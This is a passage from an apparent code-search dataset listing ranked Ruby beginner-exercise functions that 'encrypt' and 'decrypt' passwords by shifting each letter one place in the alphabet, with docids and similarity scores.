"text": "def decrypt(password)\n index = 0\n new_password = \"\"\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n\n while index < password.length\n integers = letters.index(password[index]) #convert letters to integers\n if integers == 0\n restart_index = 25\n else\n restart_index = integers - 1\n end\n new_password += letters[restart_index]\n index += 1\n end\n new_password\nend",
"title": ""
},
{
"docid": "5a10565a2731f000f3536ae45e5bca29",
"score": "0.8112669",
"text": "def decrypt(password)\r\n index = 0\r\n # Loop over string letter\r\n while index < password.length\r\n # Accounting for spaces\r\n if password[index] == \" \"\r\n index += 1\r\n end\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n letterofpassword = password[index]\r\n position = alphabet.index(letterofpassword)\r\n position -= 1\r\n password[index] = alphabet[position]\r\n index += 1\r\n end\r\n p password\r\nend",
"title": ""
},
{
"docid": "584cb375b0651c18037fa231385add00",
"score": "0.81056553",
"text": "def decrypt(password)\n index = 0 \n alphabet = \" abcdefghijklmnopqrstuvwxyz \"\n\n while index < password.length\n \tif password[index] != \"a\"\n \tpassword[index] = alphabet[(alphabet.index(password[index]) -1 )]\n \tindex += 1\n elsif password[index] == \"a\"\n \tpassword[index] = \"z\"\n \tindex += 1\n end\n \n \n end\n\n p password\n\n #puts encrypt\nend",
"title": ""
},
{
"docid": "fefd2ee4c35b568d575b2df49e3b4265",
"score": "0.8064945",
"text": "def encrypt(password)\nindex = 0\nwhile index < password.length\n str = \"zabcdefghijklmnopqrstuvwxyza\"\n current_letter = password[index]\n # For password \"hello\", expect first current2_letter to be \"h\"\n # Find the index of the current letter in the string. Store in variable current_letter_position.\n # Advance the current letter position by 1. Store in variable encrypted_letter_position.\n # Find the letter that corresponds to encrypted_letter_position. Store in variable encrypted_letter_position.\n current_letter_position = str.index(current_letter)\n encrypted_letter_position = current_letter_position+1\n encrypted_letter = str[encrypted_letter_position]\n password[index] = encrypted_letter\n index +=1\nend\nreturn password\nend",
"title": ""
},
{
"docid": "dfe2261b225634a2035042b7a5f9c89a",
"score": "0.8029341",
"text": "def encrypt(password)\n index = 0\n new_password = \"\"\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n\n while index < password.length\n integers = letters.index(password[index]) #convert letters to integers\n if integers == 25\n restart_index = 0\n else\n restart_index = integers + 1\n end\n new_password += letters[restart_index]\n index += 1\n end\n new_password\nend",
"title": ""
},
{
"docid": "155de068151f52bee7e8b04ad1079850",
"score": "0.80287087",
"text": "def encrypt(password)\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\nindex = 0\nwhile index < password.length\n\t#get letter of password at index\n\tletter = password[index]\n\t#get index number of same letter in alphabet string.\n\ta = alphabet.index(letter)\n\t#check for edge case, then replaces letter at index \n\t#with letter one forward.\n\tif a == 25\n\t\t#Edge case, if it's an 'z', make it go \"forward\" to 'a'\n\t\tpassword[index] = alphabet[0]\n\telse\n\t\t#assign letter at index the letter + 1 in alphabet index\n\t password[index] = alphabet[a + 1]\n\tend \n\tindex += 1\n\tpassword\nend\n#'p' returns the value\np password\nend",
"title": ""
},
{
"docid": "7950c29b8a687430e30e0615461703d6",
"score": "0.8000901",
"text": "def decrypter_program(password)\n index = 0\n #used for getting a letter's position within the alphabet:\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n #empty variable for newly decrypted string:\n decrypted = \"\"\n #empty variable to calculate new index number to change the letter:\n new_index_num = \"\"\n #loop through all letters in the string:\n while index < password.length\n if password[index] == \"a\"\n decrypted += \"z\"\n elsif password[index] == \" \"\n decrypted += \" \"\n else\n new_index_num = alphabet.index(password[index]) - 1\n decrypted += alphabet[new_index_num]\n end\n index += 1\n end\n p decrypted\nend",
"title": ""
},
{
"docid": "48dbe6253d2b6c0671683c4b2267b02b",
"score": "0.7981603",
"text": "def decrypt(password)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n index = 0\n while index < password.length\n letter = password[index]\n a = alphabet.index(letter)\n if a == 25\n password[index] = alphabet[0]\n else\n password[index] = alphabet [a - 1]\n end\n index += 1\n end\n p password\nend",
"title": ""
},
{
"docid": "d0a83573aeadd1ae1e317bf471251e49",
"score": "0.7980679",
"text": "def encrypt(password)\r\n index = 0\r\n # Loop over string letters\r\n while index < password.length\r\n # Accounting for spaces\r\n if password[index] == \" \"\r\n index += 1\r\n end\r\n # Account for Z edge case\r\n if password[index] == \"z\"\r\n password[index] = \"a\"\r\n end\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n letterofpassword = password[index]\r\n position = alphabet.index(letterofpassword)\r\n position += 1\r\n password[index] = alphabet[position]\r\n index += 1\r\n end\r\n p password\r\nend",
"title": ""
},
{
"docid": "9676183b2a6b1970ef3924e0b9c6e0a8",
"score": "0.7979742",
"text": "def encrypt(password)\r\n# Loop through each letter of the password by index.\r\n index = 0\r\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n encrypted = \"\"\r\n while index < password.length\r\n# If the character is a space, skip it\r\n\r\n# Otherwise advance that letter via index + 1\r\n\t letter = password[index]\r\n\t newindex = alphabet.index(letter)\r\n# If the index + 1 is greater than 25 reset it back to 0\r\nif newindex + 1 == alphabet.length\r\n\t newindex = -1\r\n\t end\r\n\t newletter = alphabet[newindex + 1]\r\n encrypted[index] = newletter\r\n\t index += 1\r\n# Store the next letter in the variable\r\n end\r\n return encrypted\r\nend",
"title": ""
},
{
"docid": "3cb0d7f47cf4a898327284f9f026d410",
"score": "0.79186094",
"text": "def decrypt (password)\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\nindex = 0\nwhile index < password.length\n\t#get letter of password at index\n\tletter = password[index]\n \t#get index number of same letter in alphabet string.\n\ta = alphabet.index(letter)\n\t#check for edge case, then replaces letter at index\n\t#with letter one back.\n\tif a == 0\n\t\t#Edge case, if it's an 'a', make it go \"back\" to 'z'\n\t\tpassword[index] = alphabet[25]\n\telse\n\t\t#assign letter at index the letter - 1 in alphabet index\n\t password[index] = alphabet[a - 1]\n\tend \n\tindex += 1\nend\n#'p' returns the value\np password\nend",
"title": ""
},
{
"docid": "d1a56ee8f110ab92ba6bf64cacf6f817",
"score": "0.79057276",
"text": "def decrypt(password)\n counter = 0\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n #declare emty string to add to\n result = \"\"\n #loop over the string letters\n while counter < password.length\n\t letter = password[counter]\n #eliminate edge cases\n if letter == \" \"\n result << \" \"\n elsif letter == \"a\"\n result << \"z\"\n else\n #Use index built in method to get the index from the alphabet minus one\t\n alph_index = alphabet.index(letter) - 1\n #add the alphabet letter coresponding to the index and add it to result string\n result << alphabet[alph_index]\n end\n counter += 1\n end\n result\nend",
"title": ""
},
{
"docid": "792c2edba38b228b22a94af73c7b17d7",
"score": "0.7889973",
"text": "def decryptor(password)\r\n\r\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n\r\n index = 0\r\n while index < password.length\r\n\r\n \t\tif password[index] == \" \"\r\n\r\n\t\t\telse\r\n \t\t temp = alphabet.index(password[index])\r\n \t\t temp -=1\r\n \t\t password[index] = alphabet[temp]\r\n\r\n \tend\r\n\r\n \tindex += 1\r\n end\r\n\r\n puts \"#{password}\"\r\nend",
"title": ""
},
{
"docid": "830d1651749e8799119d91e1d3db2033",
"score": "0.7885336",
"text": "def decrypt(password)\n\tindex = 0 \n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\n\twhile index < password.length\n\t\tif password[index] != \" \" && password[index] != \"z\"\n\t\t\tpassword[index] = alphabet[(alphabet.index(password[index]) - 1 )]\n\t\t\tindex += 1\n\t\telsif password[index] == \"z\"\n\t\t\tpassword[index] = \"y\"\n\t\t\tindex +=1\n\t\telse\n\t\t\tpassword[index] = \" \"\n\t\t\tindex +=1\n\t\tend\n\tend\n\n\treturn password\n\n\t#puts encrypt\nend",
"title": ""
},
{
"docid": "0cf70068b227d82f2e3a061332229640",
"score": "0.7877589",
"text": "def decrypt(pass)\r\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n\ti = 0\r\n\twhile i < pass.length\r\n\t\t#Gets the index number of the letter we want\r\n\t\tdecryptNum = alphabet.index(pass[i]) - 1\r\n\t\t#Decrypts the password\r\n\t\tpass[i] = alphabet[decryptNum]\r\n\t\ti += 1\r\n\tend\r\n\t#puts pass #for testing\r\n\treturn pass\r\nend",
"title": ""
},
{
"docid": "dcb2b923acb03e066a4e383929d27072",
"score": "0.7850234",
"text": "def encrypt(password)\n index = 0\n encrypted = \"\"\n while index < password.length\n if password[index] == \"z\"\n encrypted += \"a\"\n index += 1\n else\n encrypted += password[index].next\n index += 1\n end\n end\n return encrypted\nend",
"title": ""
},
{
"docid": "7b1b5119f9080d0ead23c76628ac0212",
"score": "0.7847096",
"text": "def decrypt(password)\r\n\tcount = 0\r\n\t#variable set to act as our key\r\n\tstring = \"abcdefghijklmnopqrstuvwxyz\"\r\n\twhile count < password.length\r\n\t\t#set the current letter at the position to the letter before it \r\n\t\t#using the key\r\n\t\tpassword[count] = string[string.index(password[count]) - 1]\r\n\t\tcount += 1\r\n\tend\r\n\tputs password\r\nend",
"title": ""
},
{
"docid": "d2ec84248ff5e467f91e573ecd3d35c2",
"score": "0.78397995",
"text": "def decrypt(password)\r\nindex = 0\r\nalphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n\tuntil index == password.length \r\n\tif password[index] == \" \"\r\n\t\t\tpassword[index] = \" \"\r\n\telse \r\n\t\tpassword[index] = alphabet[alphabet.index(password[index])-1]\r\n\tend\r\n\tindex = index + 1\r\n\tend\r\n\treturn password \r\nend",
"title": ""
},
{
"docid": "669548569b42bddee94cb161f32d797e",
"score": "0.7833121",
"text": "def encrypt(password)\n index = 0\n until index == password.to_s.length #The .to_s was helpful in overcoming nil-related errors\n if password[index] == \"z\" #Handles edge case\n password[index] = \"a\"\n elsif password[index] == \" \" #Handles blank spaces\n password[index] = \" \"\n else\n password[index] = password[index].next #Primary encryption rule\n end\n index += 1 #Progresses encryption to the character in the next index position\n end\nend",
"title": ""
},
{
"docid": "ae4ab82282de56a3c030486d68c2732f",
"score": "0.7825065",
"text": "def decrypt(pw)\r\n index = 0\r\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\r\n while index < pw.length\r\n pw[index] = alpha[alpha.index(pw[index]) - 1]\r\n index += 1\r\n end\r\n pw\r\nend",
"title": ""
},
{
"docid": "3242d12c0125a2d8a2cddd1056578fa1",
"score": "0.78114814",
"text": "def encrypt(password)\n\tindex = 0\n\tencrypted_pass=\"\"\n\n\twhile index < password.length\n\t\tif password[index] == \"z\"\n\t\t\tencrypted_pass += \"a\"\n\t\telse\n\t\t\tencrypted_pass+= password[index].next\n\t\tend\n\t\tindex+=1\n\tend\n\n\tencrypted_pass\nend",
"title": ""
},
{
"docid": "6fc41013b79e4bdb55e9df3a11a31e55",
"score": "0.77904415",
"text": "def encrypt(pwd)\nencrypted = \"\"\nletters = \"abcdefghijklmnopqrstuvwxyz\"\npwd_counter = 0\nwhile pwd_counter < pwd.length\n letter_counter = 0\n while letter_counter < letters.length\n if pwd[pwd_counter] == letters[letter_counter]\n encrypted += letters[letter_counter - 25]\n end\n # p pwd[index]\n letter_counter += 1\n end\n pwd_counter += 1\nend\nencrypted\nend",
"title": ""
},
{
"docid": "18804cd3aa11e17f9130526c9039e0c4",
"score": "0.7782349",
"text": "def decrypt(secret_password)\r\n\ti = 0 # index to loop through string\r\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n\tdecrypted_pass=\"\"\r\n\tnew_letter_index = 0\r\n\r\n\twhile i < secret_password.length\r\n\t\tnew_letter_index = alphabet.index(secret_password[i]) - 1\r\n\t\tdecrypted_pass += alphabet[new_letter_index]\r\n\t\ti+=1\r\n\tend\r\n\r\n\tdecrypted_pass\r\nend",
"title": ""
},
{
"docid": "0cd60fffca6c511e9601676fffb92785",
"score": "0.77796894",
"text": "def encrypter(password)\n index = 0\n\n while index < password.length\n str = \"abcdefghijklmnopqrstuvwxyza\" #added 'a' to end of alphabet in case password contains a 'z'. Otherwise, Ruby would return TypeError message - no implicit conversion of nil into string\"#\n current_letter = password[index]\n current_letter_position = str.index(current_letter)\n encrypted_letter_position = current_letter_position+1\n encrypted_letter = str[encrypted_letter_position]\n password[index] = encrypted_letter\n index +=1\n end\n return password\nend",
"title": ""
},
{
"docid": "a8ccf42a58b13bc48cba8572a94508f5",
"score": "0.7744821",
"text": "def decrypt(password)\n #naming the method and setting argument\n\tindex_counter = 0\n\t# beginning the counter and location of index inside string\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\t# This is what we will search inside for the letter index, then subtract 1 from, to return the letter prior\n\tdecrypt_array = []\n\t# making empty array to shovel decrypted letters inside\n\t\n\t until index_counter == password.length\n\t \t# making an until loop break point equal to end of the length of the input string\n\t\n\t\t alphabet_letter_index = alphabet.index(password[index_counter])\n\t\t \t# finding indexed letter in password, then finding the location of that letter ( integer ) in alphabet, setting variable to encrypt_reverse\n\t\t minused_letter = alphabet_letter_index - 1\n\t\t \t# subtracting 1 from index position ( integer ), giving decrypted letter index\n\t\t decrypt_array << alphabet[minused_letter]\n \t\t# shoveling the returned letter from location in alphabet, (returns a letter)\n\t\t index_counter += 1\n \t\t# adding one to the counter so the loop will eventually end\n\t end\n\t p \"#{decrypt_array.join}\"\n\t # printing results and making the array of characters a single string\nend",
"title": ""
},
{
"docid": "bac78cb90df3bff75e57763e18db09ac",
"score": "0.7728007",
"text": "def decrypt(word)\n counter = 0 \n password = \"\"\n until counter == word.length\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n letter = alphabet.index(word[counter]) - 1\n counter += 1 \n password = alphabet[letter] + password\n end \n password.reverse\n \n end",
"title": ""
},
{
"docid": "959b37261a7f7a7c784b9b7304583bb7",
"score": "0.77220917",
"text": "def encrypt(password)\r\n\tindex = 0\r\n\tencrypted_pass=\"\"\r\n\r\n\twhile index < password.length\r\n\t\tif password[index] == \"z\"\r\n\t\t\tencrypted_pass += \"a\"\r\n\t\telse\r\n\t\t\tencrypted_pass+= password[index].next\r\n\t\tend\r\n\t\tindex+=1\r\n\tend\r\n\r\n\tencrypted_pass\r\nend",
"title": ""
},
{
"docid": "d53d449f644dbadf6e762ab82640b239",
"score": "0.77206874",
"text": "def decrypt(encrypted_password)\r\n\te_index=0\r\n\twhile e_index < encrypted_password.length\r\n\t\tdecrypter=\" abcdefghijklmnopqrstuvwxyz\"\r\n\t\td_index=0\r\n\t\twhile d_index < decrypter.length\r\n\t\t\tif encrypted_password[e_index]==decrypter[d_index]\r\n\t\t\t\tif encrypted_password[e_index]==\" \"\r\n\t\t\t\t\tprint \" \"\r\n\t\t\t\t\te_index+=1\r\n\t\t\t\telsif encrypted_password[e_index]==\"a\"\r\n\t\t\t\t\tprint \"z\"\r\n\t\t\t\t\te_index+=1\r\n\t\t\t\telse\r\n\t\t\t\t\tprint decrypter[d_index-1]\r\n\t\t\t\tend\r\n\t\t\tend\r\n\t\t\td_index+=1\r\n\t\tend\r\n\t\te_index+=1\r\n\tend\r\nend",
"title": ""
},
{
"docid": "cfc986375662ccaaa8ba0e13ed99bc91",
"score": "0.77161914",
"text": "def decrypt(password)\nindex = 0\n#sets condition that loops if password is greater than zero\n\twhile password.length > index\n\t#sets all letters in the given input equal to the previous letter\n\t#.ord is a set system of string values that evaluates string characters\n\t#as an integer\n\t#.chr uses the same system to evaluate integers as strings\n\t#in the paranthesis we are setting each letter in the user input to an integer value\n\t#subtracting one (thus moving backwards)\n\t#then converting back into a string\n\t#note - we would not be able to use this method if we weren't instructed to assume lowercase\n\t#input and out (without accounting for more edge cases). \n\tpassword[index] = (password[index].ord - 1).chr\n\t#removes edge case issues with z\n\tpassword.sub!(\"`\", \"z\")\n\tindex += 1\n\tend\npassword\nend",
"title": ""
},
{
"docid": "717ae18f9e9326b6dcfd85905bfa9842",
"score": "0.7712199",
"text": "def decrypt(password)\n decrypter = \"abcdefghijklmnopqrstuvwxyz\"\n a = 0\n b = 0\n while a < password.length\n b = decrypter.index(password[a])\n #if b == 0\n # password[a] = \"z\"\n #else\n #Edge case is provided above. But on testing by commenting out the Edge case codes;we found that the Edge case provision is not necessary.\n password[a] = decrypter[b-1]\n #end\n a += 1\n end\n # puts password\n return password\nend",
"title": ""
},
{
"docid": "8706c86c77c56b4c1b244ccc3ea3fadb",
"score": "0.76990324",
"text": "def decrypt(str)\r\n password = str\r\n something = 0\r\n alpha_index = 0\r\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\r\n\r\n while something < password.length do\r\n if (password[something] =~ /\\s/)\r\n str[something] = \" \"\r\n else\r\n alpha_index = alpha.index(password[something])\r\n alpha_index -= 1\r\n password[something] = alpha[alpha_index]\r\n end\r\n something += 1\r\n end\r\n puts password\r\nend",
"title": ""
},
{
"docid": "592209e9d554d0a1e11d3daba712c4e4",
"score": "0.76967907",
"text": "def decrypt(password)\n\tindex = 0\n\twhile index < password.length\n\t\tif password[index] == \"a\"\n\t\t\tpassword[index] = \"z\"\n\t\telse\n\t\t\tpassword[index] = (password[index].ord-1).chr\n\t\tend\n\t\tindex += 1\n\tend\n\treturn password\nend",
"title": ""
},
{
"docid": "82af38578b809daf45beea89e2134fbf",
"score": "0.7695446",
"text": "def decrypter(encrypted_password)\n index = 0\n\n while index < encrypted_password.length\n str = \"abcdefghijklmnopqrstuvwxyz\"\n current_letter = encrypted_password[index]\n\n #For password of \"hello\", expect first current_letter to be \"h\"\n #Find the index of current letter in string. And store in variable current_letter_position\n #Reduce current_letter_position by 1. Store in variable decrypted_letter_position\n #Find the letter that corresponds to decrypted_letter_position from str variable. Store in variable decrypted_letter\n #Replace characters in encrypted password with decrypted_letter.\n current_letter_position = str.index(current_letter)\n decrypted_letter_position = current_letter_position-1\n decrypted_letter = str[decrypted_letter_position]\n if current_letter == \"a\"\n decrypted_letter = \"z\"\n end\n encrypted_password[index] = decrypted_letter\n index +=1\n end\n return encrypted_password\nend",
"title": ""
},
{
"docid": "a9e9b469f2159b22a232d5c58f26308f",
"score": "0.7693492",
"text": "def decrypt(encrypted_password)\nindex = 0\nwhile index < encrypted_password.length\n str = \"zabcdefghijklmnopqrstuvwxyza\"\n current_letter = encrypted_password[index]\n #For password of \"hello\", expect first current_letter to be \"h\"\n #Find the index of current letter in string. And store in variable current_letter_position\n #Reduce current_letter_position by 1. Store in variable decrypted_letter_position\n #Find the letter that corresponds to decrypted_letter_position from str variable. Store in variable decrypted_letter\n #Replace characters in encrypted password with decrypted_letter.\n current_letter_position = str.index(current_letter)\n decrypted_letter_position = current_letter_position-1\n decrypted_letter = str[decrypted_letter_position]\n encrypted_password[index] = decrypted_letter\n index +=1\nend\nreturn encrypted_password\nend",
"title": ""
},
{
"docid": "d20659c554b7d160e3b659c6e5e236d2",
"score": "0.7665109",
"text": "def decrypt(string)\r\n\r\n current_index = 0\r\n \r\n while current_index < string.length\r\n\t if string[current_index] == \" \"\r\n\t\t current_index += 1\r\n\t else\r\n\t letter = string[current_index].downcase\r\n\t \tindex_current_number = \"abcdefghijklmnopqrstuvwxyz\".index(letter)\r\n\t \tindex_prior_number = index_current_number - 1\r\n\t decrypted_letter = \"abcdefghijklmnopqrstuvwxyz\"[index_prior_number]\r\n string[current_index] = decrypted_letter\r\n\t \tcurrent_index +=1\r\n\t end\r\n\tend\r\n\tputs \"the decrypted password is #{string}\"\r\nend",
"title": ""
},
{
"docid": "90d9c5c9e698ff4a883c974a25d237e6",
"score": "0.76437753",
"text": "def decrypt(new_str)\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n index = 0\n while index < new_str.length\n letter_index = alphabet.index(new_str[index])\n new_str[index] = alphabet[letter_index - 1]\n index +=1\n end\n puts \"Congrats!!! Your password has been decrypted: #{new_str}\"\n new_str\nend",
"title": ""
},
{
"docid": "d5cadd15d1a7691ed776c039d4e0deb2",
"score": "0.76412517",
"text": "def encrypt(password)\n index = 0\n while index < password.length\n #if passord[index] is equal to a \"z\" ... return an \"a\"\n \tif password[index] == \"z\"\n \t\tpassword[index] = \"a\"\n #else\n else\n password[index] = password[index].next!\n end\n index += 1\n end\n return password\nend",
"title": ""
},
{
"docid": "fc9864615d4325d016982cad98bdc79e",
"score": "0.7628554",
"text": "def decrypt(password)\n next_string = \"\" #This is our beginning string\n i = 0\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n while i < password.length\n if password[i] == \" \"\n next_string << \" \"\n else\n number = alpha.index(password[i])\n new_letter = alpha[number-1]\n next_string << new_letter\n end\n i += 1\n end\n next_string\nend",
"title": ""
},
{
"docid": "6ffe0a1ecc8fab472fbd2ae2e944dac3",
"score": "0.7621437",
"text": "def decrypt(userPassword)\r\n index = 0\r\n #counter set at 0\r\n decryptedArray = []\r\n #empty array to hold processed password\r\n alphabet = ('a'..'z').to_a.join\r\n #creates single word string of the alphabet\r\n until index == userPassword.length\r\n #loop repeats until it is same length as input\r\n letterIndex = alphabet.index(userPassword[index])\r\n #finding letter index in alphabet\r\n prevLetter = letterIndex - 1\r\n #identifies letter before\r\n decryptedArray << alphabet[prevLetter]\r\n #places previous letter in the alphabet (for a given character) in array\r\n index += 1\r\n #starts counting so loop isn't infinite\r\n end\r\n #ends 'until' loop'\r\n p \"#{decryptedArray.join}\"\r\nend",
"title": ""
},
{
"docid": "24fbac1fac82dffa24c3de04cff77097",
"score": "0.7620921",
"text": "def encrypter_program(password)\n index = 0\n #declare empty variable for encrypted string\n encrypted = \"\"\n #loop through all the string's letters\n while index < password.length\n if password[index] == \"z\"\n encrypted += \"a\"\n elsif password[index] == \" \"\n encrypted += \" \"\n else\n password[index] = password[index].next!\n encrypted += password[index]\n end\n index += 1\n end\n p encrypted\nend",
"title": ""
},
{
"docid": "1ed53710b1e2fb3c9700daee10da7350",
"score": "0.76157224",
"text": "def encrypt(password)\n alpha = \"abcdefghijklmnopqrstuvwxyz\"\n i = 0\n new_password = \"\"\n while i < password.length\n alpha_index = alpha.index(password[i]).next\n if alpha[alpha_index] == nil\n alpha[alpha_index] = \"a\"\n end\n new_password += alpha[alpha_index]\n i += 1\n end\n p new_password\nend",
"title": ""
},
{
"docid": "3405ff02baeb0e138784eeb369c6aed5",
"score": "0.76116496",
"text": "def decrypt(sample)\n index = 0 \n password = sample\n while index < password.length\n unless password[index] == \" \"\n current_letter = password[index]\n alphabet_index = \"abcdefghijklmnopqrstuvwxyz\".index(password[index])\n password[index] = \"abcdefghijklmnopqrstuvwxyz\"[alphabet_index - 1]\n end\n index +=1\n end\n return password\nend",
"title": ""
},
{
"docid": "7428ce0f2f4ee2003b9c182e85577a03",
"score": "0.76086766",
"text": "def encrypt(password)\n enrypted = \"\"\n i = 0\n while i < password.length do\n # password.length.downto(0) do |i|\n if password[i] == \"z\"\n enrypted += \"a\"\n else\n enrypted += password[i].next\n end\n i += 1\n end\n return enrypted\nend",
"title": ""
},
{
"docid": "6eb6cb158b1180e00c56909d27b92a76",
"score": "0.7604581",
"text": "def encrypt(password)\n# initialize index (=0)\nindex = 0\n\n# variable = string (and set up a variable = length of string.)\n# puts \"Please enter your password.\"\n# password = gets.chomp.downcase\n\n# write a while loop\n\n# while the index is less than the variable length the loop will repeat\nwhile index < password.length\n password[index] = password[index].next\n # add strings together\n index+=1\n # pass_array_2 = password.split(\"\")\n # for i in pass_array = \"z\"\n # print \"a\"\n # end\nend\nputs password\nend",
"title": ""
},
{
"docid": "2375ae86138b03c0b320b099e531722e",
"score": "0.7603172",
"text": "def encrypt(password)\n counter = 0\n #declare emty string to add to\n result = \"\"\n #loop over the string letters\n while counter < password.length\n\t letter = password[counter]\n #eliminate edge cases\n if letter == \" \"\n result << \" \"\n elsif letter == \"z\"\n result << \"a\"\n else\n result << letter.next\n end\n counter += 1\n end\n result\nend",
"title": ""
},
{
"docid": "913ceabda114dff177c4cdfbf23fbbd0",
"score": "0.7595709",
"text": "def decrypt(userPassword)\n index = 0\n #counter set at 0\n decryptedArray = []\n #empty array to hold processed password\n alphabet = ('a'..'z').to_a.join\n #creates single word string of the alphabet\n until index == userPassword.length\n #loop repeats until it is same length as input\n letterIndex = alphabet.index(userPassword[index])\n #finding letter index in alphabet\n prevLetter = letterIndex - 1\n #identifies letter before\n decryptedArray << alphabet[prevLetter]\n #places previous letter in the alphabet (for a given character) in array\n index += 1\n #starts counting so loop isn't infinite\n end\n #ends 'until' loop'\n p \"#{decryptedArray.join}\"\nend",
"title": ""
},
{
"docid": "7fcbf27574fca7b448bccb7961643c3e",
"score": "0.75897884",
"text": "def decrypt (password)\r\n\tdef reverse (letter)\r\n\t\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n\t\tvalue = alphabet.index(letter)-1\r\n\t\treturn alphabet[value]\r\n\tend\r\n\r\n\tindex = 0\r\n\twhile index < password.length\r\n\t\tif password[index] ==\"a\"\r\n\t\t\tpassword[index] = \"z\"\r\n\t\telse\r\n\t\t\tpassword[index] = reverse(password[index])\r\n\t\tend\r\n\t\tindex +=1\r\n\tend\r\npassword\r\nend",
"title": ""
},
{
"docid": "410e3cfc362d8cf758c94497c23cd8e4",
"score": "0.7578975",
"text": "def decrypt(pwd)\ndecrypted = \"\"\nletters = \"abcdefghijklmnopqrstuvwxyz\"\npwd_counter = 0\n# p letters.index(pwd)\nwhile pwd_counter < pwd.length\n letter_counter = 0\n while letter_counter < letters.length\n if pwd[pwd_counter] == letters[letter_counter]\n decrypted += letters[letter_counter - 1]\n end\n # p pwd[index]\n letter_counter += 1\n end\n pwd_counter += 1\nend\ndecrypted\nend",
"title": ""
},
{
"docid": "58b7cae80c54c713d0e1c11e56560638",
"score": "0.7576588",
"text": "def decrypt (password)\n\tdef reverse (letter)\n\t\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\t\tvalue = alphabet.index(letter)-1\n\t\treturn alphabet[value]\n\tend\n\n\tindex = 0\n\twhile index < password.length\n\t\tif password[index] ==\"a\"\n\t\t\tpassword[index] = \"z\"\n\t\telse\n\t\t\tpassword[index] = reverse(password[index])\n\t\tend\n\t\tindex +=1\n\tend\npassword\nend",
"title": ""
},
{
"docid": "4ae06a0e7ca9a5aa32eeb7ce72dfad6d",
"score": "0.7560599",
"text": "def encryptor(password)\r\n\r\n index = 0\r\n while index < password.length\r\n \t\tif password[index] != \"z\"\r\n \t\t password[index] = password[index].next\r\n\r\n \t\telsif\tpassword[index] == \" \"\r\n\r\n \t\telse\r\n \t\t\tpassword[index] = \"a\"\r\n\r\n \tend\r\n\r\n \tindex += 1\r\n end\r\n puts \"#{password}\"\r\n return password\r\nend",
"title": ""
},
{
"docid": "819ea4be572dd9ff30a7b8ade94a9c50",
"score": "0.75555795",
"text": "def decrypt(password)\n\n pass_array = password.split(\"\")\n\n decrypt_password = \"\"\n \n for i in pass_array\n ord_num = (i.ord-1)\n if ord_num == 96\n ord_num = 122\n elsif\n ord_num == 64\n ord_num = 90\n elsif\n ord_num == 31\n ord_num = 32\n end\n decrypt_password.concat(ord_num.chr).to_s\n end\n decrypt_password\nend",
"title": ""
},
{
"docid": "81b5a2a1fc1b9434351e56386dfa99bd",
"score": "0.7555032",
"text": "def encrypt(password)\r\n\tdef ascend (letter)\r\n\t\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\r\n\t\tvalue=alphabet.index(letter)+1\r\n\t\treturn alphabet[value]\r\n\tend\r\n\r\n\tindex = 0\r\n\twhile index < password.length\r\n\t\tif password[index] == \"z\"\r\n\t\t\tpassword[index] = \"a\"\r\n\t\telse\r\n\t\t\tpassword[index]=ascend(password[index])\r\n\t\tend\r\n\tindex += 1\r\n\tend\r\npassword\r\nend",
"title": ""
},
{
"docid": "5ea747c8be74cde03ea6aa1db2454e5b",
"score": "0.753614",
"text": "def encrypt(word) #To encrypt a word\n\ti = 0\n\tsecret_word = \"\"\n\t\twhile i < word.length\n\t\tif word [i] == \"z\"\n\t\t letter = \"a\"\n\t\telse\n\t\t letter = word[i].next\n\t\tend\n\t\tsecret_word += letter\n\t\ti += 1 \n\tend\n\t# p secret_word\n\tputs \"Your encrypted password is: #{secret_word}\"\nend",
"title": ""
},
{
"docid": "72827a9e7b073fcff61310dc76ad3010",
"score": "0.7534625",
"text": "def decrypt(encrypted_pass)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\tfor i in 0...encrypted_pass.length\n\t\tencrypted_pass[i] = alphabet[alphabet.index(encrypted_pass[i])-1]\n\tend\n#\tputs encrypted_pass\n\tencrypted_pass\nend",
"title": ""
},
{
"docid": "e9cbcc55139ea4f15104333696c34291",
"score": "0.7531897",
"text": "def decrypt(encryptedpassword)\n encryptindex = 0\n alphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\n while encryptindex < encryptedpassword.length\n \n if encryptedpassword[encryptindex] == alphabet[0]\n encryptedpassword[encryptindex] = alphabet[25]\n else\n alphabetindex = 0\n until encryptedpassword[encryptindex] == alphabet[alphabetindex]\n alphabetindex+=1\n end\n adjustedindex = alphabetindex - 1\n encryptedpassword[encryptindex] = alphabet[adjustedindex]\n end\n\n encryptindex+=1\n end\n\np encryptedpassword\nend",
"title": ""
},
{
"docid": "2ca055ccec76751cde1047e532e70daf",
"score": "0.75259596",
"text": "def encrypt(password)\n\tdef ascend (letter)\n\t\talphabet = \"abcdefghijklmnopqrstuvwxyz\"\n\t\tvalue=alphabet.index(letter)+1\n\t\treturn alphabet[value]\n\tend\n\n\tindex = 0\n\twhile index < password.length\n\t\tif password[index] == \"z\"\n\t\t\tpassword[index] = \"a\"\n\t\telse\n\t\t\tpassword[index]=ascend(password[index])\n\t\tend\n\tindex += 1\n\tend\npassword\nend",
"title": ""
},
{
"docid": "237f8f537b9caf41ac6aa9a6e5b23a51",
"score": "0.75246906",
